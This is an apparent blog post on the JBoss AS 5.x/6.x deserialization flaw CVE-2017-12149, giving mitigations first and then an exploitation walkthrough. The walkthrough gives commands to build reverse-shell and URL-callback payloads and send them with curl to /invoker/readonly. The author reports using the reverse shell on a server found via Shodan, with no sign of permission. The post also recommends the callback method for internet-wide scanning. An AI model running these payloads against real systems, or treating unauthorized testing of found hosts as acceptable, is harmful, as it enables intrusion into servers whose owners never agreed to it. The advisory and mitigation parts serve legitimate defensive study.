由来

漏洞描述


2017年9月14日,国家信息安全漏洞共享平台(CNVD)收录了JBOSS Application Server反序列化命令执行漏洞(CNVD-2017-33724,对应CVE-2017-12149),远程攻击者利用漏洞可在未经任何身份验证的服务器主机上执行任意代码。漏洞细节和验证代码已公开,近期被不法分子利用出现大规模攻击尝试的可能性较大。
JBOSS Application Server是一个基于J2EE的开放源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用,2006年,JBoss被Redhat公司收购。
2017年8月30日,厂商Redhat发布了一个JBOSSAS 5.x 的反序列化远程代码执行漏洞通告。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但近期有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。CNVD对该漏洞的综合评级为“高危”。

影响范围


该漏洞影响5.x和6.x版本的JBOSSAS。

防护建议


升级到JBOSS AS7
临时解决方案:

  1. 不需要 http-invoker.sar 组件的用户可直接删除此组件。
  2. 添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中:

    1
    <url-pattern>/*</url-pattern>
  3. 用于对 http invoker 组件进行访问控制。

分析

检测


访问jboss服务器,如果是5.x,6.x版本,则可能存在此漏洞。

一个经典的jboss界面如下图

在访问该ip链接 http://ip:port/invoker/readonly ,如果报500错误,则存在可能性很大。

证明


在网上公开的paylaod中,有两种测试本漏洞的的方式,一种直接回弹shell,但是这种方式不能够批量进行测试,还有一种方法进行设定url访问,使用这种方法就可以进行本漏洞的批量扫描。

回弹shell方式

下载https://github.com/joaomatosf/JavaDeserH2HC ,使用ReverseShellCommonsCollectionsHashMap.java来进行回弹,具体使用方式。

打开下载目录,执行命令,编译生成payload的脚本

1
javac -cp .;commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

执行ReverseShellCommonsCollectionsHashMap.java生成payload

1
java -cp .;commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap IP:PORT

其中ip:port填写自己的公网ip和监听端口
生成文件ReverseShellCommonsCollectionsHashMap.ser,该文件为paylaod文件,用来发送给服务器进行反序列化操作,反弹shell端口。

找到一个vul然后进行测试,这里我在shodon上找了一个ip进行测试,运行

1
curl http://ip:port/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

首先,这里我监听了端口8888

执行命令

1
curl http://ip:port/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

获得shell

访问url方式

和第一种方式类似,在下载文件夹下编译生成payload的脚本DnsWithCommonsCollections.java。
执行命令,编译生成payload的脚本

1
javac -cp .;commons-collections-3.2.1.jar DnsWithCommonsCollections.java

生成payload

1
java -cp .;commons-collections-3.2.1.jar DnsWithCommonsCollections url

其中,url为自己设定的需要被攻击服务器访问的url,然后通过查看日志或者其他方式,你就能知道这次攻击是否成功,成功后生成payload文件SleepExample.ser。

开启http服务,这里简单实用python自带SimpleHTTPServer

发送攻击脚本

1
curl http://ip:port/invoker/readonly --data-binary @SleepExample.ser。

攻击成功

利用这种方式可以很方便的进行全网探测。

参考


  1. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12149
  2. https://www.cnblogs.com/sevck/p/7874438.html
  3. https://github.com/joaomatosf/JavaDeserH2HC